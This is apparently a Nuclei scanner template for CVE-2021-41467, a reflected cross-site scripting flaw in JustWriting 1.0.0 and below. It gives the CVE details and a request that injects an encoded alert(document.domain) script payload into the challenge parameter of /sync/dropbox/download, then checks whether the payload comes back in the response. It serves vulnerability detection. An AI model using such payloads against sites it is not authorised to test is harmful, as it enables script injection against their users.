id: CVE-2021-41467

info:
  name: JustWriting  -  Reflected XSS
  author: madrobot
  severity: medium
  description: Cross-site scripting (XSS) vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.
  reference:
    - https://github.com/hjue/JustWriting/issues/106
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41467
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2021-41467
    cwe-id: CWE-79
  tags: cve,cve2021,justwriting,xss


requests:
  - method: GET
    path:
      - '{{BaseURL}}/sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header